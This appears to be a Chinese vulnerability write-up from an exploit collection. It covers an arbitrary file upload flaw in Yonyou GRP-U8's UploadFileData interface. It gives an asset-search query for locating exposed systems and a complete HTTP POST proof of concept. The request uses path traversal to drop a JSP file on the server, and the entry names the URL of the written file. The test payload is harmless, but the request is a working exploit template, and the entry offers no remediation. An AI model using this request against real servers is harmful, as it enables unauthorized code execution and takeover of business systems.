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53 lines
1.5 KiB
Markdown
53 lines
1.5 KiB
Markdown
# 用友 GRP-U8 UploadFileData 任意文件上传漏洞
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## 漏洞描述
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用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
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## 漏洞影响
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```
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用友 GRP-U8
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```
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## 网络测绘
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```
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app="用友-GRP-U8"
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```
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## 漏洞复现
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登录页面
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验证POC
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```
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POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
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Host:
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
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Content-Type: multipart/form-data
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
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------WebKitFormBoundary92pUawKc
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Content-Disposition: form-data; name="myFile";filename="test.jpg"
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<% out.println("123");%>
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------WebKitFormBoundary92pUawKc--
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```
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访问写入的文件
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```
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/R9iPortal/debugg.jsp
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```
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